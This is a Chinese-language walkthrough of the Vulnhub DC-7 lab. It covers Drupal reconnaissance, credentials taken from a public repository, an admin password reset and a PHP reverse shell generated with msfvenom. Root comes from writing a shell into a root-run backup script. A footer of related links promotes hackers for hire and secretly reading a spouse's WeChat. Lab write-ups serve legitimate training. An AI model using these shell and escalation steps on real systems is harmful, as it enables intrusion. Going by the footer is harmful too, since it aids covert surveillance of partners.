Vulnhub靶机DC系列-DC7

访客4年前关于黑客接单569

0x0:靶场介绍

靶场名称: DC: 7

靶场发布时间:2019-4-26

靶场地址:https://www.vulnhub.com/entry/dc-7,356/

靶场描述:

DC-7 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

While this isn't an overly technical challenge, it isn't exactly easy.

While it's kind of a logical progression from an earlier DC release (I won't tell you which one), there are some new concepts involved, but you will need to figure those out for yourself. :-) If you need to resort to brute forcing or dictionary attacks, you probably won't succeed.

What you will need to do, is to think "outside" of the box.

Waaaaaay "outside" of the box. :-)

The ultimate goal of this challenge is to get root and to read the one and only flag.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet

1x0:环境搭建

VMware虚拟机(桥接模式)

2x0:靶机渗透

获取靶机的IP

nmap -sn 192.168.3.0/24

1610757657_60023619d49188c86a5ab.png!small?1610757658092

使用nmap来查看靶机的端口信息和系统信息等等

1610757703_60023647e85625d65bb6f.png!small?1610757704186

首先去查看80端口的web服务 Drupal

1610757769_60023689ad0bc3925d6ca.png!small?1610757769880

提示不用爆破破解,使用dirb扫描一下目录

1610758510_6002396e915690937ac73.png!small?1610758510854

存在robots.txt文件

1610757873_600236f1edcfaa5469e51.png!small?1610757874288

登录地址:

1610758128_600237f017a0cb38ea6ca.png!small?1610758128251

install.mysql 403!

1610758101_600237d5293ebf4e57fc7.png!small?1610758101422

版本大致的判断:

1610758438_600239264dfcab13d836e.png!small?1610758438474

kali去搜索一下drupal8版本的的漏洞(都利用失败了,看一下其他思路才知道需要去下载代码)

直接搜索@DC7USER即可

1610759173_60023c05ae698a3121ee3.png!small?1610759173932

下载,代码审计 config.php 有数据库的配置信息(没有什么其他可以利用的点)

1610759365_60023cc51b80bb118244c.png!small?1610759365337

玄学登录SSH尝试下一把

1610759736_60023e38da501db45dc7b.png!small?1610759737064

牛皮。

有一份mbox 邮件

1610760055_60023f77513ea0ae14695.png!small?1610760055537

提供一个路径/opt/scripts/backups.sh

1610760392_600240c8ec2c8bd2afeaf.png!small?1610760393686

解开这个文件,也没什么用。

1610760607_6002419f27b2fe0080cb2.png!small?1610760607384

发现一个可以修改drupal的管理员密码的命令

1610761051_6002435bad1bac3019896.png!small?1610761051861

回到网站去登录管理员账号

1610761126_600243a62eb0542dcd1a1.png!small?1610761126339

具体的版本号

1610761198_600243ee7869cd4033be1.png!small?1610761198678

这里需要反弹shell 利用上传插件 插件地址:https://www.drupal.org/project/php

1610761541_60024545c920b26222d40.png!small?1610761542029

上传插件

1610761567_6002455f804522461ae20.png!small?1610761567734上传成功

1610761599_6002457f406aa595f870c.png!small?1610761599474

勾选安装

1610761644_600245ac7c7eaebb6c844.png!small?1610761644640

上传反弹shell

1610761756_6002461c8c80a6d43ad62.png!small?1610761756814

在网上找到一个反向shell的php使用msf生成php_shell也可以

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.3.20 LPORT=1234 -f raw

下载地址:http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz

1610762568_600249488b8dedbcda25f.png!small?1610762568744

下载下来,修改代码复制到文件中

1610762724_600249e48fcccefa05c98.png!small?1610762724762修改一下既可(上传到页面保存就可以反弹出来)

1610762835_60024a53922d977d42c5c.png!small?1610762836094

3x0:提权篇

切换shell

1610762924_60024aac483c21fe4bf60.png!small?1610762924402

发现backups.sh 具有root权限,但是在www-data组中 可以使用backups.sh 执行命令

1610763038_60024b1e418dc294ca2ce.png!small?1610763038432

直接写入反弹shell

等待连接即可

1610763507_60024cf32b66e560ffe14.png!small?1610763507396

执行shell 等待连接

读取flag即可

1610764580_6002512468ed89c8a79a5.png!small?1610764580614

相关文章

关于黑客入侵的动漫(有关黑客的动漫)

关于黑客入侵的动漫(有关黑客的动漫)

本文目录一览: 1、攻壳机动队这部动漫一共有几部? 2、二次元动漫中有哪些超级黑客角色? 3、内容是防止黑客入侵的动漫,主角是孩子做了一个网络盾与黑客对战的动漫,名字我忘了有谁知道 4、黑...

麦店:购物首单云闪付立减9.8元!

电商平台越来越多了,都知道这块蛋糕大,想方设法分一杯羹。针对新用户送福利,享优惠,是最简朴和有用笼络人气的方式了。麦店团结银联云闪付现在做流动,新用户首单购物后,使用云闪付立减9.8米优惠,许多10....

怎么破解华为手机数字密码?教你三招快速解决

如果你的锁屏密码是图案,那么可以试5次图案,如果这5次图案都错误,界面会弹出选项“备用数字密码 ”。此时,您可以通过输入备用数字密码解锁手机。 方法二、使用手机找回 有个前提...

哪里可以找到微信黑客(黑客软件微信加人)-黑客通过什么入侵别人的手机

哪里可以找到微信黑客(黑客软件微信加人)-黑客通过什么入侵别人的手机

哪里可以找到微信黑客(黑客软件微信加人)(tiechemo.com)一直致力于黑客(HACK)技术、黑客QQ群、信息安全、web安全、渗透运维、黑客工具、找黑客、黑客联系方式、24小时在线网络黑客、黑...

怎样能查看老公的手机微信聊天记录

. 水果保存不当,很容易就会烂掉,尤其是现在天气越来越热了,很多人水果烂掉了舍不得扔,就会吃掉好的一部分,那么,水果烂了一点好的部分可以吃吗?水果怎么保鲜?下面友谊长存小编就来说说。 水果烂了一点...

孩子为什么有早恋倾向(如何开导恋爱的妹妹)

早恋引导怎么处理有夫妇才有父子,小学早恋网界各种诱惑就连成人都无法避免更学生何况是孩子们,但我们的爱恋持续不久。学习正确让他自由发展吧,孩子早恋在这期间我会守护你的。步骤早恋这样才有可能走到同一个高度...